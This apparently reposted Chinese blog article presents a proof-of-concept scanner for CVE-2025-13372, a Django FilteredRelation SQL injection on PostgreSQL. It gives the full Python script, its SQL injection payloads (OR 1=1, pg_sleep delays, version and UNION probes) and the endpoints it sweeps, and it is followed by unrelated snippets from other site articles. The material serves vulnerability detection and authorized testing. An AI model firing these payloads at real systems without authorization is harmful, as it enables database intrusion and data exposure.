news 2026/4/17 18:38:51

Django FilteredRelation SQL注入漏洞检测工具解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Django FilteredRelation SQL注入漏洞检测工具解析

项目标题与描述

CVE-2025-13372 漏洞检测工具

本项目是一个专业的Django框架安全检测工具,专门用于检测CVE-2025-13372漏洞。该漏洞影响Django 5.2.8及以下版本、5.1.14及以下版本、4.2.26及以下版本,当应用使用PostgreSQL数据库后端、FilteredRelation功能并接受用户控制的别名参数时,可能导致SQL注入攻击。本工具通过多种检测方法(包括错误响应检测和时间延迟检测)自动化识别存在该漏洞的目标系统。

功能特性

  • 多种检测方式:支持基于PostgreSQL错误响应的检测和时间延迟检测
  • 自动化扫描:自动测试多个常见参数路径(alias、column、field、sort等)
  • 智能Payload设计:包含多种触发漏洞的SQL注入payload
  • 时间延迟检测:通过pg_sleep函数检测基于时间的SQL注入漏洞
  • 错误识别:能够识别多种PostgreSQL错误模式
  • 超时处理:正确处理检测过程中的超时情况
  • 兼容性广泛:覆盖多种可能的Django应用端点路径

安装指南

系统要求

  • Python 3.x
  • requests库
  • 网络访问权限
  • 仅用于授权的安全测试

安装步骤

# 克隆或下载项目文件gitclone https://github.com/Ashwesker/Blackash-CVE-2025-13372.git# 安装必需的Python库pipinstallrequests# 确保有urllib3库(Python标准库的一部分)

依赖项

  • Python 3.x
  • requests (用于HTTP请求)
  • urllib3 (禁用SSL警告)

使用说明

基础使用

# 基本用法:提供目标URL作为参数python3 CVE-2025-13372-poc.py http://target.com

典型使用场景

  1. 安全审计:对自有的Django应用进行安全测试
  2. 渗透测试:在授权范围内对客户系统进行漏洞检测
  3. 安全研究:学习SQL注入漏洞检测技术

工具工作原理

  1. 工具接受目标URL作为参数
  2. 遍历预定义的SQL注入payload列表
  3. 测试多个可能的端点路径(/search/, /api/filter/, /filter/等)
  4. 分析响应中的PostgreSQL错误指示器
  5. 对于时间延迟payload,检测响应延迟时间

输出示例

[+] CVE-2025-13372 PoC – Django FilteredRelation SQLi [+] Target: http://example.com [*] Testing: http://example.com/search/?alias=%27%29%20OR%201%3D1--%20... → no indicator [*] Testing: http://example.com/api/filter/?col=%27%29%3B%20SELECT%20pg_sleep%287%29-- ... → VULNERABLE! (Time delay detected) Delay : 7.05 seconds Payload : '); SELECT pg_sleep(7)--

核心代码

主检测逻辑代码

importrequestsimporturllib.parseimportsysfromrequests.packages.urllib3importdisable_warnings disable_warnings()iflen(sys.argv)!=2:print("Usage: python3 CVE-2025-13372-poc.py http://target.com")sys.exit(1)target=sys.argv[1].rstrip("/")# Common payloads that trigger PostgreSQL errors or delayspayloads=["') OR 1=1-- ","'); SELECT pg_sleep(7)--",# Time-based (7 sec delay = vuln)"'); SELECT version()--",# Leaks PostgreSQL version"' UNION SELECT NULL,version(),NULL--","1' AND (SELECT 1 FROM PG_SLEEP(7))--"]print("[+] CVE-2025-13372 PoC – Django FilteredRelation SQLi")print(f"[+] Target:{target}\n")forpayloadinpayloads:enc=urllib.parse.quote(payload)# Common endpoints/parameters that may use FilteredRelation + alias()/annotate()paths=[f"/search/?alias={enc}",f"/api/filter/?col={enc}",f"/filter/?field={enc}",f"/reports/?column={enc}",f"/advanced/?sort={enc}",f"/admin/lookup/?q={enc}",f"/?order={enc}"]forpathinpaths:url=target+pathtry:print(f"[*] Testing:{url[:80]}{'...'iflen(url)>80else''}",end="")r=requests.get(url,timeout=15,verify=False,allow_redirects=True)# PostgreSQL error indicatorsindicators=["syntax error at or near","column .* does not exist","unterminated quoted string","SQLSTATE","relation .* does not exist","django.db.utils.ProgrammingError"]body=r.text.lower()ifany(indinbodyforindinindicators):print(" → VULNERABLE! (PostgreSQL error)")print(f" Payload :{payload}")print(f" URL :{url}\n")sys.exit(0)# Time-based detectionif"pg_sleep"inpayload.lower()andr.elapsed.total_seconds()>=6:print(" → VULNERABLE! (Time delay detected)")print(f" Delay :{r.elapsed.total_seconds():.2f}seconds")print(f" Payload :{payload}")sys.exit(0)print(" → no indicator")exceptrequests.exceptions.Timeout:if"pg_sleep"inpayload.lower():print(" → VULNERABLE! (Request timed out – pg_sleep likely worked)")sys.exit(0)except:print(" → request failed")print("\n[-] Not vulnerable or correct endpoint not found.")print("[i] Tip: Use Burp/ZAP to find parameters named alias, column, field, sort, etc.")print("[i] Then test manually with the payloads above.")

漏洞技术分析代码说明

# CVE-2025-13372 技术原理说明# 漏洞出现在以下条件同时满足时:# 1. 使用PostgreSQL作为数据库后端# 2. 使用FilteredRelation进行条件连接# 3. 接受动态字典(**kwargs)构建查询注解或别名# 4. 允许用户控制的数据影响SQL生成中的别名名称# 问题根源:# Django ORM通常通过以下方式防止SQL注入:# - 转义危险字符# - 参数化输入# - 除非显式允许,否则禁止原始SQL# 但传递给以下函数的别名不会被参数化:# queryset.annotate(**dynamic_values)# queryset.alias(**dynamic_names)# 因为别名是SQL语法的一部分,而不是SQL值。# 如果用户控制的输入进入这些别名,Django可能会无意中将这些字符串逐字嵌入生成的SQL中。

检测逻辑详解

# 检测逻辑分为三个主要部分:# 1. Payload生成:定义多种SQL注入payload# - 基础注入payload:') OR 1=1--# - 时间延迟payload:'); SELECT pg_sleep(7)--# - 信息泄露payload:'); SELECT version()--# 2. 端点枚举:测试多个可能的参数位置# - alias参数:通常与FilteredRelation一起使用# - column/field参数:可能用于动态字段选择# - sort/order参数:可能用于动态排序# 3. 结果分析:# - 错误响应分析:查找PostgreSQL特定错误模式# - 时间延迟分析:检测pg_sleep导致的响应延迟# - 超时处理:时间延迟payload导致的超时视为漏洞存在

重要声明:本工具仅用于授权的安全测试和研究目的。使用前请确保已获得目标系统的明确授权。未经授权的使用可能违反法律法规。
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5EfxTTpHVbezSJmapquqON
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 4:05:49

Live Avatar光照模拟:Blizzard风格渲染参数设置

Live Avatar光照模拟:Blizzard风格渲染参数设置 1. Live Avatar模型简介与硬件门槛 Live Avatar是由阿里联合高校开源的数字人生成模型,专注于高质量、低延迟的实时视频生成。它不是简单的图像动画工具,而是一套融合了文本理解、语音驱动、…

作者头像 李华
网站建设 2026/4/17 21:39:24

wlanext.exe文件丢失找不到 免费下载方法分享

在使用电脑系统时经常会出现丢失找不到某些文件的情况,由于很多常用软件都是采用 Microsoft Visual Studio 编写的,所以这类软件的运行需要依赖微软Visual C运行库,比如像 QQ、迅雷、Adobe 软件等等,如果没有安装VC运行库或者安装…

作者头像 李华
网站建设 2026/4/18 11:05:39

Z-Image-Turbo性能测评:9步推理到底有多快?

Z-Image-Turbo性能测评:9步推理到底有多快? 在AI绘画加速竞赛中,一个数字正被反复提及:9。不是20步、不是12步,而是实打实的9次迭代——就能从纯噪声生成一张10241024分辨率的高质量图像。这不是实验室里的理想值&…

作者头像 李华
网站建设 2026/4/18 2:12:47

科哥UNet镜像支持多种分辨率输出,清晰度拉满

科哥UNet镜像支持多种分辨率输出,清晰度拉满 你是否试过人脸融合后,图片一放大就糊成一片?边缘发虚、皮肤纹理消失、发丝细节崩坏——不是模型不行,而是输出分辨率被悄悄“锁死”了。科哥最新发布的 UNet 图像人脸融合镜像彻底打…

作者头像 李华
网站建设 2026/4/17 15:30:53

机场广播异常检测:集成SenseVoiceSmall提升应急响应

机场广播异常检测:集成SenseVoiceSmall提升应急响应 1. 为什么机场需要“听懂”广播的AI? 你有没有在机场听过这样的广播? “各位旅客请注意,前往东京成田机场的CA123次航班……” 突然,声音戛然而止,只剩…

作者头像 李华
网站建设 2026/4/18 8:55:50

实测阿里开源语音模型,CosyVoice2-0.5B表现令人惊喜

实测阿里开源语音模型,CosyVoice2-0.5B表现令人惊喜 最近试用了阿里开源的语音合成模型CosyVoice2-0.5B,说实话,第一反应是:这哪是0.5B参数量的模型,分明是“小身材大能量”的代表。它不像传统TTS系统那样需要大量训练…

作者头像 李华